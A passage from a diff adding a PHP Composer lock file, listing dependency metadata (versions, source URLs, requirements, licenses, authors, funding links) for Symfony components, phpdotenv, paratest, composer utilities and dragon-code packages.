"https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-29T05:06:50+00:00" + }, + { + "name": "symfony/translation", + "version": "v8.1.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/translation.git", + "reference": "342b4218630dc2cf284cedcb2080c80b13404014" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/translation/zipball/342b4218630dc2cf284cedcb2080c80b13404014", + "reference": "342b4218630dc2cf284cedcb2080c80b13404014", + "shasum": "" + }, + "require": { + "php": ">=8.4.1", + "symfony/polyfill-mbstring": "^1.0", + "symfony/translation-contracts": "^3.6.1" + }, + "conflict": { + "nikic/php-parser": "<5.0", + "symfony/http-client-contracts": "<2.5", + "symfony/service-contracts": "<2.5" + }, + "provide": { + "symfony/translation-implementation": "2.3|3.0" + }, + "require-dev": { + "nikic/php-parser": "^5.0", + "psr/log": "^1|^2|^3", + "symfony/config": "^7.4|^8.0", + "symfony/console": "^7.4|^8.0", + "symfony/dependency-injection": "^7.4|^8.0", + "symfony/finder": "^7.4|^8.0", + "symfony/http-client-contracts": "^2.5|^3.0", + "symfony/http-kernel": "^7.4|^8.0", + "symfony/intl": "^7.4|^8.0", + "symfony/polyfill-intl-icu": "^1.21", + "symfony/routing": "^7.4|^8.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/yaml": "^7.4|^8.0" + }, + "type": "library", + "autoload": { + "files": [ + "Resources/functions.php" + ], + "psr-4": { + "Symfony\\Component\\Translation\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides tools to internationalize your application", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/translation/tree/v8.1.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-06T11:11:44+00:00" + }, + { + "name": "symfony/translation-contracts", + "version": "v3.7.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/translation-contracts.git", + "reference": "ccb206b98faccc511ebae8e5fad50f2dc0b30621" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/ccb206b98faccc511ebae8e5fad50f2dc0b30621", + "reference": "ccb206b98faccc511ebae8e5fad50f2dc0b30621", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/contracts", + "name": "symfony/contracts" + }, + "branch-alias": { + "dev-main": "3.7-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\Translation\\": "" + }, + "exclude-from-classmap": [ + "/Test/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to translation", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "support": { + "source": "https://github.com/symfony/translation-contracts/tree/v3.7.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-05T06:23:12+00:00" + }, + { + "name": "symfony/uid", + "version": "v7.4.9", + "source": { + "type": "git", + "url": "https://github.com/symfony/uid.git", + "reference": "2676b524340abcfe4d6151ec698463cebafee439" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/uid/zipball/2676b524340abcfe4d6151ec698463cebafee439", + "reference": "2676b524340abcfe4d6151ec698463cebafee439", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "symfony/polyfill-uuid": "^1.15" + }, + "require-dev": { + "symfony/console": "^6.4|^7.0|^8.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Uid\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Grégoire Pineau", + "email": "lyrixx@lyrixx.info" + }, + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides an object-oriented API to generate and represent UIDs", + "homepage": "https://symfony.com", + "keywords": [ + "UID", + "ulid", + "uuid" + ], + "support": { + "source": "https://github.com/symfony/uid/tree/v7.4.9" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-04-30T15:19:22+00:00" + }, + { + "name": "symfony/var-dumper", + "version": "v7.4.14", + "source": { + "type": "git", + "url": "https://github.com/symfony/var-dumper.git", + "reference": "9a3a56a4a1e65a5cb4f8d13801fe8ab0a170e358" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/9a3a56a4a1e65a5cb4f8d13801fe8ab0a170e358", + "reference": "9a3a56a4a1e65a5cb4f8d13801fe8ab0a170e358", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/polyfill-mbstring": "~1.0" + }, + "conflict": { + "symfony/console": "<6.4" + }, + "require-dev": { + "symfony/console": "^6.4|^7.0|^8.0", + "symfony/http-kernel": "^6.4|^7.0|^8.0", + "symfony/process": "^6.4|^7.0|^8.0", + "symfony/uid": "^6.4|^7.0|^8.0", + "twig/twig": "^3.12" + }, + "bin": [ + "Resources/bin/var-dump-server" + ], + "type": "library", + "autoload": { + "files": [ + "Resources/functions/dump.php" + ], + "psr-4": { + "Symfony\\Component\\VarDumper\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides mechanisms for walking through any arbitrary PHP variable", + "homepage": "https://symfony.com", + "keywords": [ + "debug", + "dump" + ], + "support": { + "source": "https://github.com/symfony/var-dumper/tree/v7.4.14" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-08T20:24:16+00:00" + }, + { + "name": "tightenco/ziggy", + "version": "v2.6.3", + "source": { + "type": "git", + "url": "https://github.com/tighten/ziggy.git", + "reference": "14c5744f155182188419f7729d96e0ed7225e73b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/tighten/ziggy/zipball/14c5744f155182188419f7729d96e0ed7225e73b", + "reference": "14c5744f155182188419f7729d96e0ed7225e73b", + "shasum": "" + }, + "require": { + "ext-json": "*", + "laravel/framework": ">=9.0", + "php": ">=8.1" + }, + "require-dev": { + "laravel/folio": "^1.1", + "orchestra/testbench": "^8.0 || ^9.0 || ^10.0 || ^11.0", + "pestphp/pest": "^2.0 || ^3.0 || ^4.0", + "pestphp/pest-plugin-laravel": "^2.0 || ^3.0 || ^4.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Tighten\\Ziggy\\ZiggyServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "Tighten\\Ziggy\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniel Coulbourne", + "email": "daniel@tighten.co" + }, + { + "name": "Jake Bathman", + "email": "jake@tighten.co" + }, + { + "name": "Jacob Baker-Kretzmar", + "email": "jacob@tighten.co" + } + ], + "description": "Use your Laravel named routes in JavaScript.", + "homepage": "https://github.com/tighten/ziggy", + "keywords": [ + "Ziggy", + "javascript", + "laravel", + "routes" + ], + "support": { + "issues": "https://github.com/tighten/ziggy/issues", + "source": "https://github.com/tighten/ziggy/tree/v2.6.3" + }, + "time": "2026-06-23T21:57:52+00:00" + }, + { + "name": "tijsverkoyen/css-to-inline-styles", + "version": "v2.4.0", + "source": { + "type": "git", + "url": "https://github.com/tijsverkoyen/CssToInlineStyles.git", + "reference": "f0292ccf0ec75843d65027214426b6b163b48b41" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/tijsverkoyen/CssToInlineStyles/zipball/f0292ccf0ec75843d65027214426b6b163b48b41", + "reference": "f0292ccf0ec75843d65027214426b6b163b48b41", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-libxml": "*", + "php": "^7.4 || ^8.0", + "symfony/css-selector": "^5.4 || ^6.0 || ^7.0 || ^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^2.0", + "phpstan/phpstan-phpunit": "^2.0", + "phpunit/phpunit": "^8.5.21 || ^9.5.10" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.x-dev" + } + }, + "autoload": { + "psr-4": { + "TijsVerkoyen\\CssToInlineStyles\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Tijs Verkoyen", + "email": "css_to_inline_styles@verkoyen.eu", + "role": "Developer" + } + ], + "description": "CssToInlineStyles is a class that enables you to convert HTML-pages/files into HTML-pages/files with inline styles. This is very useful when you're sending emails.", + "homepage": "https://github.com/tijsverkoyen/CssToInlineStyles", + "support": { + "issues": "https://github.com/tijsverkoyen/CssToInlineStyles/issues", + "source": "https://github.com/tijsverkoyen/CssToInlineStyles/tree/v2.4.0" + }, + "time": "2025-12-02T11:56:42+00:00" + }, + { + "name": "vlucas/phpdotenv", + "version": "v5.6.4", + "source": { + "type": "git", + "url": "https://github.com/vlucas/phpdotenv.git", + "reference": "416df702837983f8d5ff48c9c3fee4f5f57b980b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/vlucas/phpdotenv/zipball/416df702837983f8d5ff48c9c3fee4f5f57b980b", + "reference": "416df702837983f8d5ff48c9c3fee4f5f57b980b", + "shasum": "" + }, + "require": { + "ext-pcre": "*", + "graham-campbell/result-type": "^1.1.4", + "php": "^7.2.5 || ^8.0", + "phpoption/phpoption": "^1.9.5", + "symfony/polyfill-ctype": "^1.26", + "symfony/polyfill-mbstring": "^1.26", + "symfony/polyfill-php80": "^1.26" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "ext-filter": "*", + "phpunit/phpunit": "^8.5.34 || ^9.6.13 || ^10.4.2" + }, + "suggest": { + "ext-filter": "Required to use the boolean validator." + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + }, + "branch-alias": { + "dev-master": "5.6-dev" + } + }, + "autoload": { + "psr-4": { + "Dotenv\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Vance Lucas", + "email": "vance@vancelucas.com", + "homepage": "https://github.com/vlucas" + } + ], + "description": "Loads environment variables from `.env` to `getenv()`, `$_ENV` and `$_SERVER` automagically.", + "keywords": [ + "dotenv", + "env", + "environment" + ], + "support": { + "issues": "https://github.com/vlucas/phpdotenv/issues", + "source": "https://github.com/vlucas/phpdotenv/tree/v5.6.4" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/vlucas/phpdotenv", + "type": "tidelift" + } + ], + "time": "2026-07-06T19:11:50+00:00" + }, + { + "name": "voku/portable-ascii", + "version": "2.1.1", + "source": { + "type": "git", + "url": "https://github.com/voku/portable-ascii.git", + "reference": "8e1051fe39379367aecf014f41744ce7539a856f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/voku/portable-ascii/zipball/8e1051fe39379367aecf014f41744ce7539a856f", + "reference": "8e1051fe39379367aecf014f41744ce7539a856f", + "shasum": "" + }, + "require": { + "php": ">=7.1.0" + }, + "require-dev": { + "phpunit/phpunit": "~8.5 || ~9.6 || ~10.5 || ~11.5" + }, + "suggest": { + "ext-intl": "Use Intl for transliterator_transliterate() support" + }, + "type": "library", + "autoload": { + "psr-4": { + "voku\\": "src/voku/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Lars Moelleken", + "homepage": "https://www.moelleken.org/" + } + ], + "description": "Portable ASCII library - performance optimized (ascii) string functions for php.", + "homepage": "https://github.com/voku/portable-ascii", + "keywords": [ + "ascii", + "clean", + "php" + ], + "support": { + "issues": "https://github.com/voku/portable-ascii/issues", + "source": "https://github.com/voku/portable-ascii/tree/2.1.1" + }, + "funding": [ + { + "url": "https://www.paypal.me/moelleken", + "type": "custom" + }, + { + "url": "https://github.com/voku", + "type": "github" + }, + { + "url": "https://opencollective.com/portable-ascii", + "type": "open_collective" + }, + { + "url": "https://www.patreon.com/voku", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/voku/portable-ascii", + "type": "tidelift" + } + ], + "time": "2026-04-26T05:33:54+00:00" + } + ], + "packages-dev": [ + { + "name": "archtechx/enums", + "version": "v1.1.2", + "source": { + "type": "git", + "url": "https://github.com/archtechx/enums.git", + "reference": "81375b71c176f680880a95e7448d84258cfb5c72" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/archtechx/enums/zipball/81375b71c176f680880a95e7448d84258cfb5c72", + "reference": "81375b71c176f680880a95e7448d84258cfb5c72", + "shasum": "" + }, + "require": { + "php": "^8.1" + }, + "require-dev": { + "larastan/larastan": "^2.4", + "orchestra/testbench": "^8.0 || ^9.0", + "pestphp/pest": "^2.0", + "pestphp/pest-plugin-laravel": "^2.0" + }, + "type": "library", + "extra": { + "phpstan": { + "includes": [ + "extension.neon" + ] + } + }, + "autoload": { + "psr-4": { + "ArchTech\\Enums\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Samuel Štancl", + "email": "samuel@archte.ch" + } + ], + "description": "Helpers for making PHP enums more lovable.", + "support": { + "issues": "https://github.com/archtechx/enums/issues", + "source": "https://github.com/archtechx/enums/tree/v1.1.2" + }, + "time": "2025-06-06T23:15:09+00:00" + }, + { + "name": "brianium/paratest", + "version": "v7.8.5", + "source": { + "type": "git", + "url": "https://github.com/paratestphp/paratest.git", + "reference": "9b324c8fc319cf9728b581c7a90e1c8f6361c5e5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paratestphp/paratest/zipball/9b324c8fc319cf9728b581c7a90e1c8f6361c5e5", + "reference": "9b324c8fc319cf9728b581c7a90e1c8f6361c5e5", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-pcre": "*", + "ext-reflection": "*", + "ext-simplexml": "*", + "fidry/cpu-core-counter": "^1.3.0", + "jean85/pretty-package-versions": "^2.1.1", + "php": "~8.2.0 || ~8.3.0 || ~8.4.0 || ~8.5.0", + "phpunit/php-code-coverage": "^11.0.12", + "phpunit/php-file-iterator": "^5.1.0", + "phpunit/php-timer": "^7.0.1", + "phpunit/phpunit": "^11.5.46", + "sebastian/environment": "^7.2.1", + "symfony/console": "^6.4.22 || ^7.3.4 || ^8.0.3", + "symfony/process": "^6.4.20 || ^7.3.4 || ^8.0.3" + }, + "require-dev": { + "doctrine/coding-standard": "^12.0.0", + "ext-pcov": "*", + "ext-posix": "*", + "phpstan/phpstan": "^2.1.33", + "phpstan/phpstan-deprecation-rules": "^2.0.3", + "phpstan/phpstan-phpunit": "^2.0.11", + "phpstan/phpstan-strict-rules": "^2.0.7", + "squizlabs/php_codesniffer": "^3.13.5", + "symfony/filesystem": "^6.4.13 || ^7.3.2 || ^8.0.1" + }, + "bin": [ + "bin/paratest", + "bin/paratest_for_phpstorm" + ], + "type": "library", + "autoload": { + "psr-4": { + "ParaTest\\": [ + "src/" + ] + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Brian Scaturro", + "email": "scaturrob@gmail.com", + "role": "Developer" + }, + { + "name": "Filippo Tessarotto", + "email": "zoeslam@gmail.com", + "role": "Developer" + } + ], + "description": "Parallel testing for PHP", + "homepage": "https://github.com/paratestphp/paratest", + "keywords": [ + "concurrent", + "parallel", + "phpunit", + "testing" + ], + "support": { + "issues": "https://github.com/paratestphp/paratest/issues", + "source": "https://github.com/paratestphp/paratest/tree/v7.8.5" + }, + "funding": [ + { + "url": "https://github.com/sponsors/Slamdunk", + "type": "github" + }, + { + "url": "https://paypal.me/filippotessarotto", + "type": "paypal" + } + ], + "time": "2026-01-08T08:02:38+00:00" + }, + { + "name": "codezero/browser-locale", + "version": "3.4.0", + "source": { + "type": "git", + "url": "https://github.com/codezero-be/browser-locale.git", + "reference": "dd6c50e5557b06b57960df6db7f52e85ef683e5e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/codezero-be/browser-locale/zipball/dd6c50e5557b06b57960df6db7f52e85ef683e5e", + "reference": "dd6c50e5557b06b57960df6db7f52e85ef683e5e", + "shasum": "" + }, + "require": { + "php": "^7.0|^8.0" + }, + "require-dev": { + "mockery/mockery": "^1.3.3", + "phpunit/phpunit": "^6.0|^7.0|^8.0|^9.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "CodeZero\\BrowserLocale\\Laravel\\BrowserLocaleServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "CodeZero\\BrowserLocale\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ivan Vermeyen", + "email": "ivan@codezero.be" + } + ], + "description": "Get the most preferred locales from your visitor's browser.", + "keywords": [ + "browser", + "country", + "detect", + "language", + "locale", + "php", + "website" + ], + "support": { + "issues": "https://github.com/codezero-be/browser-locale/issues", + "source": "https://github.com/codezero-be/browser-locale/tree/3.4.0" + }, + "funding": [ + { + "url": "https://paypal.me/ivanvermeyen", + "type": "custom" + }, + { + "url": "https://ko-fi.com/ivanvermeyen", + "type": "ko_fi" + } + ], + "time": "2024-03-02T12:51:17+00:00" + }, + { + "name": "composer/class-map-generator", + "version": "1.7.3", + "source": { + "type": "git", + "url": "https://github.com/composer/class-map-generator.git", + "reference": "86d8208fc3c649a3a999daf1a63c25201be2990f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/class-map-generator/zipball/86d8208fc3c649a3a999daf1a63c25201be2990f", + "reference": "86d8208fc3c649a3a999daf1a63c25201be2990f", + "shasum": "" + }, + "require": { + "composer/pcre": "^2.1 || ^3.1", + "php": "^7.2 || ^8.0", + "symfony/finder": "^4.4 || ^5.3 || ^6 || ^7 || ^8" + }, + "require-dev": { + "phpstan/phpstan": "^1.12 || ^2", + "phpstan/phpstan-deprecation-rules": "^1 || ^2", + "phpstan/phpstan-phpunit": "^1 || ^2", + "phpstan/phpstan-strict-rules": "^1.1 || ^2", + "phpunit/phpunit": "^8", + "symfony/filesystem": "^5.4 || ^6 || ^7 || ^8" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Composer\\ClassMapGenerator\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "https://seld.be" + } + ], + "description": "Utilities to scan PHP code and generate class maps.", + "keywords": [ + "classmap" + ], + "support": { + "issues": "https://github.com/composer/class-map-generator/issues", + "source": "https://github.com/composer/class-map-generator/tree/1.7.3" + }, + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + } + ], + "time": "2026-05-05T09:17:07+00:00" + }, + { + "name": "composer/pcre", + "version": "3.4.0", + "source": { + "type": "git", + "url": "https://github.com/composer/pcre.git", + "reference": "d5a341b3fb61f3001970940afb1d332968a183ed" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/pcre/zipball/d5a341b3fb61f3001970940afb1d332968a183ed", + "reference": "d5a341b3fb61f3001970940afb1d332968a183ed", + "shasum": "" + }, + "require": { + "php": "^7.4 || ^8.0" + }, + "conflict": { + "phpstan/phpstan": "<2.2.2" + }, + "require-dev": { + "phpstan/phpstan": "^2", + "phpstan/phpstan-deprecation-rules": "^2", + "phpstan/phpstan-strict-rules": "^2", + "phpunit/phpunit": "^9" + }, + "type": "library", + "extra": { + "phpstan": { + "includes": [ + "extension.neon" + ] + }, + "branch-alias": { + "dev-main": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Composer\\Pcre\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "http://seld.be" + } + ], + "description": "PCRE wrapping library that offers type-safe preg_* replacements.", + "keywords": [ + "PCRE", + "preg", + "regex", + "regular expression" + ], + "support": { + "issues": "https://github.com/composer/pcre/issues", + "source": "https://github.com/composer/pcre/tree/3.4.0" + }, + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + } + ], + "time": "2026-06-07T11:47:49+00:00" + }, + { + "name": "composer/semver", + "version": "3.4.4", + "source": { + "type": "git", + "url": "https://github.com/composer/semver.git", + "reference": "198166618906cb2de69b95d7d47e5fa8aa1b2b95" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/semver/zipball/198166618906cb2de69b95d7d47e5fa8aa1b2b95", + "reference": "198166618906cb2de69b95d7d47e5fa8aa1b2b95", + "shasum": "" + }, + "require": { + "php": "^5.3.2 || ^7.0 || ^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^1.11", + "symfony/phpunit-bridge": "^3 || ^7" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Composer\\Semver\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nils Adermann", + "email": "naderman@naderman.de", + "homepage": "http://www.naderman.de" + }, + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "http://seld.be" + }, + { + "name": "Rob Bast", + "email": "rob.bast@gmail.com", + "homepage": "http://robbast.nl" + } + ], + "description": "Semver library that offers utilities, version constraint parsing and validation.", + "keywords": [ + "semantic", + "semver", + "validation", + "versioning" + ], + "support": { + "irc": "ircs://irc.libera.chat:6697/composer", + "issues": "https://github.com/composer/semver/issues", + "source": "https://github.com/composer/semver/tree/3.4.4" + }, + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + } + ], + "time": "2025-08-20T19:15:30+00:00" + }, + { + "name": "doctrine/deprecations", + "version": "1.1.6", + "source": { + "type": "git", + "url": "https://github.com/doctrine/deprecations.git", + "reference": "d4fe3e6fd9bb9e72557a19674f44d8ac7db4c6ca" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/deprecations/zipball/d4fe3e6fd9bb9e72557a19674f44d8ac7db4c6ca", + "reference": "d4fe3e6fd9bb9e72557a19674f44d8ac7db4c6ca", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "conflict": { + "phpunit/phpunit": "<=7.5 || >=14" + }, + "require-dev": { + "doctrine/coding-standard": "^9 || ^12 || ^14", + "phpstan/phpstan": "1.4.10 || 2.1.30", + "phpstan/phpstan-phpunit": "^1.0 || ^2", + "phpunit/phpunit": "^7.5 || ^8.5 || ^9.6 || ^10.5 || ^11.5 || ^12.4 || ^13.0", + "psr/log": "^1 || ^2 || ^3" + }, + "suggest": { + "psr/log": "Allows logging deprecations via PSR-3 logger implementation" + }, + "type": "library", + "autoload": { + "psr-4": { + "Doctrine\\Deprecations\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "A small layer on top of trigger_error(E_USER_DEPRECATED) or PSR-3 logging with options to disable all deprecations or selectively for packages.", + "homepage": "https://www.doctrine-project.org/", + "support": { + "issues": "https://github.com/doctrine/deprecations/issues", + "source": "https://github.com/doctrine/deprecations/tree/1.1.6" + }, + "time": "2026-02-07T07:09:04+00:00" + }, + { + "name": "dragon-code/contracts", + "version": "2.25.0", + "source": { + "type": "git", + "url": "https://github.com/TheDragonCode/contracts.git", + "reference": "13d1254801026be5ba33cf1309a414953869175f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/TheDragonCode/contracts/zipball/13d1254801026be5ba33cf1309a414953869175f", + "reference": "13d1254801026be5ba33cf1309a414953869175f", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0", + "psr/http-message": "^1.0.1 || ^2.0", + "symfony/http-kernel": "^4.0 || ^5.0 || ^6.0 || ^7.0 || ^8.0", + "symfony/polyfill-php80": "^1.23" + }, + "conflict": { + "andrey-helldar/contracts": "*" + }, + "require-dev": { + "illuminate/database": "^10.0 || ^11.0 || ^12.0 || ^13.0", + "phpdocumentor/reflection-docblock": "^5.0 || ^6.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "DragonCode\\Contracts\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro", + "homepage": "https://dragon-code.pro" + } + ], + "description": "A set of contracts for any project", + "keywords": [ + "contracts", + "interfaces" + ], + "support": { + "source": "https://github.com/TheDragonCode/contracts" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2026-03-17T21:50:20+00:00" + }, + { + "name": "dragon-code/pretty-array", + "version": "4.2.0", + "source": { + "type": "git", + "url": "https://github.com/TheDragonCode/pretty-array.git", + "reference": "b94034d92172a5d14a578822d68b2a8f8b5388e0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/TheDragonCode/pretty-array/zipball/b94034d92172a5d14a578822d68b2a8f8b5388e0", + "reference": "b94034d92172a5d14a578822d68b2a8f8b5388e0", + "shasum": "" + }, + "require": { + "dragon-code/contracts": "^2.20", + "dragon-code/support": "^6.11.2", + "ext-dom": "*", + "ext-mbstring": "*", + "php": "^8.0" + }, + "require-dev": { + "phpunit/phpunit": "^9.6 || ^10.0 || ^11.0 || ^12.0" + }, + "suggest": { + "symfony/thanks": "Give thanks (in the form of a GitHub) to your fellow PHP package maintainers" + }, + "type": "library", + "autoload": { + "psr-4": { + "DragonCode\\PrettyArray\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andrey Helldar", + "email": "helldar@dragon-code.pro", + "homepage": "https://dragon-code.pro" + } + ], + "description": "Simple conversion of an array to a pretty view", + "keywords": [ + "andrey helldar", + "array", + "dragon", + "dragon code", + "pretty", + "pretty array" + ], + "support": { + "issues": "https://github.com/TheDragonCode/pretty-array/issues", + "source": "https://github.com/TheDragonCode/pretty-array" + }, + "funding": [ + { + "url": "https://boosty.to/dragon-code", + "type": "boosty" + }, + { + "url": "https://yoomoney.ru/to/410012608840929", + "type": "yoomoney" + } + ], + "time": "2025-02-24T15:35:24+00:00" + }, + { + "name": "dragon-code/support", + "version": "6.17.1", + "source": { + "type": "git", + "url": "https://github.com/TheDragonCode/support.git", + "reference": "82a465953267989883d64b921e9725600a5073b5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/TheDragonCode/support/zipball/82a465953267989883d64b921e9725600a5073b5", + "reference": "82a465953267989883d64b921e9725600a5073b5", + "shasum": "" + }, + "require": { + "dragon-code/contracts": "^2.22.0", + "ext-bcmath": "*", + "ext-ctype": "*", + "ext-dom": "*", + "ext-json": "*", + "ext-mbstring": "*", + "php": "^8.1", + "psr/http-message": "^1.0.1 || ^2.0", + "voku/portable-ascii": "^1.4.8 || ^2.0.1" + }, + "conflict": { + "andrey-helldar/support": "*" + }, + "require-dev": { + "illuminate/contracts": "^9.0 || ^10.0 || ^11.0 || ^12.0 || ^13.0", + "phpunit/phpunit": "^9.6 || ^11.0 || ^12.0", + "symfony/var-dumper": "^6.0 || ^7.0" + }, + "suggest": { + "dragon-code/laravel-support": "Various helper files for the Laravel and Lumen frameworks", + "symfony/thanks": "Give thanks (in the form of a GitHub) to your fellow PHP package maintainers" + }, + "type": "library", + "extra": { + "dragon-code": { + "docs-generator": { + "preview": { + "brand": "php", + "vendor": "The Dragon Code" + } + } + } + }, + "autoload": { + "psr-4": { + 